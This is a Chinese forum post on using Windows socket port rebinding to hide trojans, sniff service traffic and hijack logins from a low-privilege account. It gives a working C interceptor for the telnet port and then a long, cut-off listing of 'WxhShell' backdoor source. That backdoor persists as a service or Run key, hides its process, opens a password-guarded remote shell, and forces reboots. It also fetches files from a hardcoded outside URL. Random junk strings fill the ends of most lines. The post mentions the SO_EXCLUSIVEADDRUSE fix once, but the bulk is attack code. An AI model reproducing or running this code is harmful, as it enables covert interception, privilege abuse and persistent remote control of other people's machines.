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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qmzj1e$6x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,C(")?4aJ  
3H@TvV/;f  
  saddr.sin_family = AF_INET; duT2:~H2  
h"]v+u`!SM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TQ>kmHWf/  
CKNH/[ ZR,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rv:,Os_  
s 6vsV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2$=?;~  
i&{8a3B  
  这意味着什么?意味着可以进行如下的攻击: dl(cYP8L  
rc 9 \  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <iJ->$  
)k <ON~x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l|U=(aA]h  
MDl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C03ehjT<  
7cY_=X-?Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T3%yV*F,  
D3(|bSca  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !)_80O1  
'hf-)\Ylf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K (Z d-U  
}oj$w?Ex  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nWmc  
H_vOZ0  
  #include W&TPrB  
  #include o @~XX@5l  
  #include WTSY:kvcCY  
  #include    K?(ls$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <y(>z*T;  
  int main() >bEH&7+@_'  
  { r >u0Y  
  WORD wVersionRequested; =p N?h<dc  
  DWORD ret; dkLc"$( O  
  WSADATA wsaData; Pm#B'N#*N|  
  BOOL val; qYGnebn@\  
  SOCKADDR_IN saddr; ShF ][v1L  
  SOCKADDR_IN scaddr; Z\6azhbI}  
  int err; %:YON,1b=7  
  SOCKET s; leg@ia  
  SOCKET sc; "Yq-s$yBi  
  int caddsize; #Z98D9Pv`o  
  HANDLE mt; %n=!H  
  DWORD tid;   <!-8g!  
  wVersionRequested = MAKEWORD( 2, 2 ); < 5;0LPU  
  err = WSAStartup( wVersionRequested, &wsaData ); f|w+}z  
  if ( err != 0 ) { ?b^VEp.;}  
  printf("error!WSAStartup failed!\n"); 1;080| ,s  
  return -1; KaBze67<|  
  } 4/~8zvz&3  
  saddr.sin_family = AF_INET; T5Sa9\`>  
   9Rb-QI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k2j:s}RHY  
Ej F<lw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #HJF==  
  saddr.sin_port = htons(23); F, %qG,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :BC 0f9  
  { (GMKIw2  
  printf("error!socket failed!\n"); j<R,}nmD3\  
  return -1; +}I[l,,xy  
  } hG2btmBht  
  val = TRUE; c zL[W2l   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;]i&AAbj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [WRs1$5  
  { 9c=Y+=<  
  printf("error!setsockopt failed!\n"); ^.nvX{H8~=  
  return -1; gTH1FR8$y  
  } "5synfO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~Rs|W;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n&r-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =yz#L@\!  
\&&kUpI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v"F.<Q  
  { J= ia  
  ret=GetLastError(); wkdd&Nw;  
  printf("error!bind failed!\n"); ?\<2*sW [k  
  return -1; wTf0O@``6H  
  } P qagep d  
  listen(s,2); f`:e#x  
  while(1) +LV'E#h!Q  
  { x/[i &Gkv  
  caddsize = sizeof(scaddr); 7. G   
  //接受连接请求 PUltn}M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n{r+t=X  
  if(sc!=INVALID_SOCKET) FT[oM<M\Xd  
  { 0k:&7(j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d;m Q=k 1  
  if(mt==NULL) d#ya"e>  
  { ;wL *  
  printf("Thread Creat Failed!\n"); _xl#1>G^J  
  break; $- =aqUU  
  } {;n?c$r  
  } UciWrwE  
  CloseHandle(mt); c5;YKON  
  } x3PeU_9  
  closesocket(s); E;VBoN [  
  WSACleanup(); x^+ C[%  
  return 0; M0=ZAsN  
  }   xXA$16kd  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2}$Vi$ R  
  { 0WF(Ga/o  
  SOCKET ss = (SOCKET)lpParam; )P|%=laE8  
  SOCKET sc; M\\TQ(B  
  unsigned char buf[4096]; iL|*g3`-f  
  SOCKADDR_IN saddr; u+I-!3J87  
  long num; )tFFa*Z'  
  DWORD val; h,FP,w;G  
  DWORD ret; Xuh_bW&zF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *n}9_V%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xBgf)'W_Z  
  saddr.sin_family = AF_INET; U|{WtuR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7w>"M  
  saddr.sin_port = htons(23); lmH!I )5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k\ I$ve"*  
  { T?AGQcG  
  printf("error!socket failed!\n"); M8KfC!  
  return -1; hXz"}X n  
  } V9Au\  
  val = 100; Ql&P1|&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h@{@OAu?  
  { ^jf$V #z0/  
  ret = GetLastError(); elKQge  
  return -1; ]\#RsVX  
  } &cpRB&bf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?MpGz CPa  
  { ,P auP~L  
  ret = GetLastError(); B@iIj<p~  
  return -1; _F@FcFG1Z*  
  }  }Ecm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V{d"cs>9  
  { ,pLesbI  
  printf("error!socket connect failed!\n"); t8?+yG;  
  closesocket(sc); 6@l:(-(j2A  
  closesocket(ss); ?7G[`@^Y  
  return -1; 'kx{0J?  
  } (_nkscf  
  while(1) H.>KYiv+  
  { E"L'm0i[[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <m@U`RFm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .-WCB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mY`b|cS3p$  
  num = recv(ss,buf,4096,0); 2ZE4^j|  
  if(num>0) "UA W  
  send(sc,buf,num,0); U{ahA  
  else if(num==0) dDm<'30?*v  
  break; Wo2M}]0  
  num = recv(sc,buf,4096,0); UhEnW8^bz1  
  if(num>0) M~"K@g=Wr  
  send(ss,buf,num,0); (JF\%Yj/  
  else if(num==0) wiFckF/  
  break; 7M$>'PfO  
  } JgxOxZS`@  
  closesocket(ss); Af -{'  
  closesocket(sc); |H |ewVUY  
  return 0 ; ~Aq UT]l  
  } 7,(:vjIXd  
CF$^we  
M"V?fn'  
========================================================== 7Y$p3]0e+  
icnp^2P  
下边附上一个代码,,WXhSHELL Wm"W@LPx5  
W{0<ro`  
========================================================== fYH%vr)  
xl<Cstr  
#include "stdafx.h" Q *lZ;~R  
jt;,7Ek  
#include <stdio.h> 5X[=Q>  
#include <string.h> p~M^' k=d  
#include <windows.h> M~wJe@bc  
#include <winsock2.h> 3 D+dM0wM  
#include <winsvc.h> .ipYZg'V  
#include <urlmon.h> %+`$Lb?{  
3 UBG?%!$f  
#pragma comment (lib, "Ws2_32.lib") JA1(yt  
#pragma comment (lib, "urlmon.lib") h"q`gj  
{E!$<A9  
#define MAX_USER   100 // 最大客户端连接数 \E0Uj>9+[  
#define BUF_SOCK   200 // sock buffer s K s D  
#define KEY_BUFF   255 // 输入 buffer \]o#tYN\a0  
K72U0}$B  
#define REBOOT     0   // 重启 IF@)L>-%  
#define SHUTDOWN   1   // 关机  @4H*kA  
{HQ?  
#define DEF_PORT   5000 // 监听端口 r6j 3A  
Dmn6{jy P  
#define REG_LEN     16   // 注册表键长度 hPH= .rX  
#define SVC_LEN     80   // NT服务名长度 NbfV6$jo  
,qt9S0 QS  
// 从dll定义API DmPp&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q(_pk&/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @@_f''f$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HP&+ 8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RXLD5$s^  
?!8M I,c/  
// wxhshell配置信息 aQw?r  
struct WSCFG { %?R}sUo  
  int ws_port;         // 监听端口  lcyan  
  char ws_passstr[REG_LEN]; // 口令 [,$] %|6wt  
  int ws_autoins;       // 安装标记, 1=yes 0=no jsc1B  
  char ws_regname[REG_LEN]; // 注册表键名 WOR~tS  
  char ws_svcname[REG_LEN]; // 服务名 (|"K sGl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 : xB<Rq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TU7Qt<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )<t5' +d%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9:IVSD&"Rf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .[ NB"\<q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tf<1Z{9  
U,~\}$<I  
}; [C9->`(`  
; Sq_DP1W  
// default Wxhshell configuration W{Ine> a'  
struct WSCFG wscfg={DEF_PORT, |fOQm  
    "xuhuanlingzhe", >@rsh-Z  
    1, g,r'].Jg  
    "Wxhshell", vzd1:'^t  
    "Wxhshell", ?ep93:j  
            "WxhShell Service", n0:'h}^  
    "Wrsky Windows CmdShell Service", D({% FQ"  
    "Please Input Your Password: ", :]v%6i.  
  1, n GZZCsf <  
  "http://www.wrsky.com/wxhshell.exe", JUt 7  
  "Wxhshell.exe" Ux2(Oph  
    }; d @<(Z7|  
d dkh*[  
// 消息定义模块 "k o?AUt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Xys;Dwx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uckag/tv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NiQ`,Q$B  
char *msg_ws_ext="\n\rExit."; ~k'KS 7c  
char *msg_ws_end="\n\rQuit."; N0,wT6.  
char *msg_ws_boot="\n\rReboot..."; YIvJN  
char *msg_ws_poff="\n\rShutdown..."; *$1M= $  
char *msg_ws_down="\n\rSave to "; O KVIl  
3Un q 9  
char *msg_ws_err="\n\rErr!"; s`B]+  
char *msg_ws_ok="\n\rOK!"; wC+_S*M-K  
~ODm?k  
char ExeFile[MAX_PATH]; sKVN*8ia  
int nUser = 0; 8D@H4O.  
HANDLE handles[MAX_USER]; mtSOygd  
int OsIsNt;  G?AZ%Yx  
.$pW?C 3e  
SERVICE_STATUS       serviceStatus; Ue^2H[zs-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ViIt 'WX  
h,o/(GNnW  
// 函数声明 [DpGL/Y.  
int Install(void); G0 Q} 1  
int Uninstall(void); Ab ,n^  
int DownloadFile(char *sURL, SOCKET wsh); >>oR@  
int Boot(int flag); #Mkwd5S|L  
void HideProc(void); Cgq/#2BM  
int GetOsVer(void); %{ WZ  
int Wxhshell(SOCKET wsl); M0zJGIT~b  
void TalkWithClient(void *cs); ~47Bbom  
int CmdShell(SOCKET sock); eM Ym@~4  
int StartFromService(void); |h$*z9bsf  
int StartWxhshell(LPSTR lpCmdLine); mN Hd  
J6J[\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sLrSi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &/R`\(hEA  
INtt0Cm9"  
// 数据结构和表定义 zO8`xrN!  
SERVICE_TABLE_ENTRY DispatchTable[] = K =T]@ix$  
{ Vz[E)(QX-`  
{wscfg.ws_svcname, NTServiceMain}, ~'>RK  
{NULL, NULL} 5mxHOtvtWM  
}; 2NHuZ.af  
& 9X`tCnL  
// 自我安装 acr@erk  
int Install(void) Elth xj  
{ Au3> =x`  
  char svExeFile[MAX_PATH]; 7fRL'I#[@  
  HKEY key;  t9T3e  
  strcpy(svExeFile,ExeFile); g-lF{Z  
3 d $  
// 如果是win9x系统,修改注册表设为自启动 7.g)_W{7}  
if(!OsIsNt) { ;]YQ WK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dayp1%d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :a$ZYyD  
  RegCloseKey(key); *: )hoHp&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {T|sU\|Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oEPO0O  
  RegCloseKey(key); . +_IpygQ  
  return 0; )P4#P2  
    } ~um+r],@@  
  } L$zI_ z  
} 3?|gBiX  
else { 5"(AqXoq  
p_h)|*W{  
// 如果是NT以上系统,安装为系统服务 ^ei[#I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r"#h6lYK&  
if (schSCManager!=0) a,X=!oJ  
{ Y#'mALC2  
  SC_HANDLE schService = CreateService DF D5">g@  
  ( o %#Z  
  schSCManager, {MX_t/o=f  
  wscfg.ws_svcname, SR>Sq2cW0  
  wscfg.ws_svcdisp, *;A I0  
  SERVICE_ALL_ACCESS, KI(9TI *  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A6w/X`([O  
  SERVICE_AUTO_START, -f?Rr:#  
  SERVICE_ERROR_NORMAL, il^SGH  
  svExeFile, lSP{9L6  
  NULL,  v|+}>g  
  NULL, Yo0%5 noz  
  NULL, 8>q:Q<BB2  
  NULL, /_~b~3{u  
  NULL n =v4m_e  
  ); $t5 0<1  
  if (schService!=0) TnET1$@qr*  
  { B.fLgQK0  
  CloseServiceHandle(schService); 2,|*KN*e`W  
  CloseServiceHandle(schSCManager); Yjz'lWg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wqo2iRql  
  strcat(svExeFile,wscfg.ws_svcname); m'1NZV%#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J{72%S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cn ,zUG!-h  
  RegCloseKey(key); A?Jm59{w  
  return 0; p-V#nPb  
    } E&0A W{  
  } :6LOb f\01  
  CloseServiceHandle(schSCManager); 9[5NnRv$P  
} ;@K,>$ur-  
} ><iEVrpN  
{(G@YG?  
return 1; bTC2Ya  
} ]!H*oP8a*  
%_+9y??  
// 自我卸载 L]0+ u\(  
int Uninstall(void) {B|U8j[  
{ xMg&>}5  
  HKEY key; P,AS`=z  
q p|T,D%  
if(!OsIsNt) { *sf9(%j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |w[}\#2  
  RegDeleteValue(key,wscfg.ws_regname); Tp~yn  
  RegCloseKey(key); t&SJ!>7_c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kbx(^f12  
  RegDeleteValue(key,wscfg.ws_regname); '.~vN L+ O  
  RegCloseKey(key); fT._Os?i  
  return 0; M4M 4*o  
  } 9In&vF7$  
} u]E%R&  
} hX)r%v:  
else { U._ U!U  
]Vjn7P`~ N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3]'=s>UO>^  
if (schSCManager!=0) |NtT-T)7  
{ V]H<:UE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y=9a2 [3Dz  
  if (schService!=0) eHv~?b5l  
  { K1O/>dN_\O  
  if(DeleteService(schService)!=0) { ~'fa,XZ<  
  CloseServiceHandle(schService); f]T1:N*t  
  CloseServiceHandle(schSCManager); EUuMSDp  
  return 0; 6El%T]^  
  } .E;6Xx_+r  
  CloseServiceHandle(schService); I4|p;\`fK  
  } " "a+Nc  
  CloseServiceHandle(schSCManager); qwFn(pK[  
} }sJ% InL  
} SVq7qc9K?  
)STt3.  
return 1; w5|@vB/pj  
} 3}twWnQZJ  
HwST^\Ao  
// 从指定url下载文件 Kyl(  
int DownloadFile(char *sURL, SOCKET wsh) _IlL'c5  
{ H8\{ GGg  
  HRESULT hr; <Isr  
char seps[]= "/"; -IX;r1UD  
char *token; RuRJjcnY  
char *file; M$&>"%Oi  
char myURL[MAX_PATH]; vN4X%^:(  
char myFILE[MAX_PATH]; GtGToI  
.{x5(bi0S  
strcpy(myURL,sURL); wkm SIN:  
  token=strtok(myURL,seps); 0]HK (,/h  
  while(token!=NULL) "R9kF-  
  { .FMF0r>l  
    file=token; &H+<uYV  
  token=strtok(NULL,seps); W\KZFrV@  
  } k2+Z7#2n  
IS=)J( 0  
GetCurrentDirectory(MAX_PATH,myFILE); 3QR-8  
strcat(myFILE, "\\"); 0?`#ko7~d  
strcat(myFILE, file); /?6y2t  
  send(wsh,myFILE,strlen(myFILE),0); Bf* F ^  
send(wsh,"...",3,0); 9n%W-R.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G: &Q)_  
  if(hr==S_OK) ;zJ_apZ:{  
return 0; rvfl~<G*  
else U NAuF8>K  
return 1; oNh .Zgg  
hOC,Eo  
} Q@j:b]Y9  
e| l?NXRX  
// 系统电源模块 -OW$  
int Boot(int flag) ^IId =V=2  
{ dJ;;l7":~  
  HANDLE hToken; $fn^i.  
  TOKEN_PRIVILEGES tkp; [{c8:)ar  
J *B`C^i  
  if(OsIsNt) { (J;?eeP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +I~?8*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |JDJ{;o  
    tkp.PrivilegeCount = 1; U!`'Qw;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .5z|g@ 6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d+w<y~\ q  
if(flag==REBOOT) { Q:LuRE!t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YS~x-5OE\  
  return 0; ~iSW^mi  
} b$ eJH  
else { ?t"PawBWE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JU6np4  
  return 0; !6%mt}h  
} d"cfSH;h  
  } E}GSii%S  
  else { 0k>&MkM\^  
if(flag==REBOOT) { zhe5i;M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :tgTYIF  
  return 0; 0T5>i 0/  
} f:SF&t*  
else { c%dy$mkqgK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pWp2{G^XB  
  return 0; #(H_w4  
} Y^G3<.B  
} 4ca-!pI0  
buFtLPe  
return 1; Y[DKj!v  
} KWUz]>Z  
Ed-gYL^<  
// win9x进程隐藏模块 ._3NqE;  
void HideProc(void) ,W-0qN&%/  
{ ( A)wcB  
?Sqm`)\>4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !O-+ h0Z  
  if ( hKernel != NULL ) a3 x~B=E  
  { SDwSlwf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (AYS>8O&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;cr6Xop#?  
    FreeLibrary(hKernel); \_E.%K  
  } o;mIu#u  
$%JyM  
return; xNkY'4%  
} dWy1=UQfP  
Anv8)J!9u  
// 获取操作系统版本 v~Qy{dn P  
int GetOsVer(void) nS4S[|w"  
{ 5m42Bqy"  
  OSVERSIONINFO winfo; O| ]Ped9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7 L\?  
  GetVersionEx(&winfo); pG6-.F;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (do=o&9p m  
  return 1; (Y)h+}n5N  
  else =fG8YZ(  
  return 0; 0Q>|s_  
} \<B6>  
%Be[DLtE"  
// 客户端句柄模块 17)M.(qmuP  
int Wxhshell(SOCKET wsl) hhAC@EGG  
{ 2H[a Y%1T  
  SOCKET wsh; "}p?pF<'0  
  struct sockaddr_in client; _KVB~loT  
  DWORD myID; }dJ ~Iy  
.~L4#V{c~  
  while(nUser<MAX_USER) 3 ?F@jEQk  
{ %E"/]!}3  
  int nSize=sizeof(client); OeGuq.> w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R"gm]SQ/  
  if(wsh==INVALID_SOCKET) return 1; ,jsx]U/^  
7 afA'.=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ' u};z:t  
if(handles[nUser]==0) g/Jj]X#r  
  closesocket(wsh); YwWTv  
else 8'"/gC{  
  nUser++; 8M+F!1-#  
  } !a(qqZ|s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h_G|.7!  
1r& ?J.z25  
  return 0; 3dDQz#  
} YCBML!L  
6XL9 qb~X  
// 关闭 socket Qfu*F}  
void CloseIt(SOCKET wsh) n3g WM C  
{ '3UIriY6  
closesocket(wsh); {_ho!OS>  
nUser--; ^%$W S,  
ExitThread(0); u$,Wyi )L  
} _AHB|P I  
GVc[p\h(  
// 客户端请求句柄 :'rZZeb'  
void TalkWithClient(void *cs) B m@oB2x)  
{ QqK{~I|l  
h9w^7MbO  
  SOCKET wsh=(SOCKET)cs; VE"0 VB.  
  char pwd[SVC_LEN]; `(Q_ 65y  
  char cmd[KEY_BUFF]; <T.#A8c  
char chr[1]; \3(| c#c  
int i,j; xKLcd+hCZ  
X`v79`g_  
  while (nUser < MAX_USER) { 2X;0z$  
i~Ob( YIH  
if(wscfg.ws_passstr) { iLd"tn'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UNcJ=   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u3i| }`  
  //ZeroMemory(pwd,KEY_BUFF); '"fU2M<.  
      i=0; q{Ta?|x#  
  while(i<SVC_LEN) { bb0McEQy  
3G/ mB  
  // 设置超时 ny_ kr`$42  
  fd_set FdRead; c;8"vJ  
  struct timeval TimeOut; ];{l$-$$  
  FD_ZERO(&FdRead); b}?@syy8  
  FD_SET(wsh,&FdRead); . I&)MZ>n  
  TimeOut.tv_sec=8; p5# P r  
  TimeOut.tv_usec=0; -G<2R"Q#N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rw ao5l=x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (zw=qbS&  
>[%.h(h/%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L[D/#0qp  
  pwd=chr[0]; ;GgQ@s@  
  if(chr[0]==0xd || chr[0]==0xa) { <.7I8B7  
  pwd=0; L3=YlX`UL  
  break; ,ORG"]_F  
  } q%kj[ZOY$]  
  i++; "J[i=~(  
    } hKzBq*cV  
eYD9#y  
  // 如果是非法用户,关闭 socket e"s{_V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Va/@#=,q]  
} Rqb{)L X*  
(|a$N.e&K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1l|A[ G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Puth8$  
5Ckk5b  
while(1) { $G-N0LV  
z^a!C#IX  
  ZeroMemory(cmd,KEY_BUFF); \BbOljM=  
6PQJgki  
      // 自动支持客户端 telnet标准   X@h^T> ["  
  j=0; 6Er0o{iI  
  while(j<KEY_BUFF) { )(?UA$"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =FD`A#\C~  
  cmd[j]=chr[0]; srChY&h?<  
  if(chr[0]==0xa || chr[0]==0xd) { Q&.IlVB[  
  cmd[j]=0; =@1R ozt  
  break; Mf ;|z0UX  
  } 56bud3CVs  
  j++; =$)4:  
    } #LN5&i;s  
H4 }%;m%  
  // 下载文件 *gM,x4Y  
  if(strstr(cmd,"http://")) { *%OYAsc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cD'HQ3+  
  if(DownloadFile(cmd,wsh)) f.aB?\"f6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J8u{K.( *7  
  else `?zg3GD_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BrlzN='j}  
  } S1 EEASr!}  
  else { ~|y^\U@  
d}{LM!s  
    switch(cmd[0]) { E-yT  
  M#\  <  
  // 帮助 *PSvHXNi  
  case '?': { %Y cxC0S[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JQKC ;p  
    break; 7SgweZ}"  
  } _pz,okO[V  
  // 安装 :]CzN^k(1c  
  case 'i': { ,:#,}w_HyO  
    if(Install()) @uI?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7BL |x  
    else K3vseor  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ..t,LU@|  
    break; ./'~];&  
    } di6B!YQP  
  // 卸载 YCa@R!M*O  
  case 'r': { {]wIM^$6+  
    if(Uninstall()) % v;e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o!aLZ3#X  
    else IDy_L;'`*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $> "J"IX  
    break; S~KS9E~\  
    } :83,[;GO2  
  // 显示 wxhshell 所在路径 yJ!OsD  
  case 'p': { XD PL;(?  
    char svExeFile[MAX_PATH]; x(L(l=^"  
    strcpy(svExeFile,"\n\r"); ShQ|{P9  
      strcat(svExeFile,ExeFile); "j{i,&Y$_  
        send(wsh,svExeFile,strlen(svExeFile),0); rRB~=J"  
    break; ldA!ou7  
    } >\V6+$cNp  
  // 重启 Zy^=fM  
  case 'b': { >(X #<`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qE )Y}oN  
    if(Boot(REBOOT)) `E@kFJ(<On  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~12_D'8D[  
    else { k`Nyi )AGe  
    closesocket(wsh); n.*3,4.]  
    ExitThread(0); B[r<m J  
    } GL1'Zo  
    break; ^YGTh0$W  
    } 5sCFzo<=vh  
  // 关机 |,b2b2v ?  
  case 'd': { 5iVQc-m&  
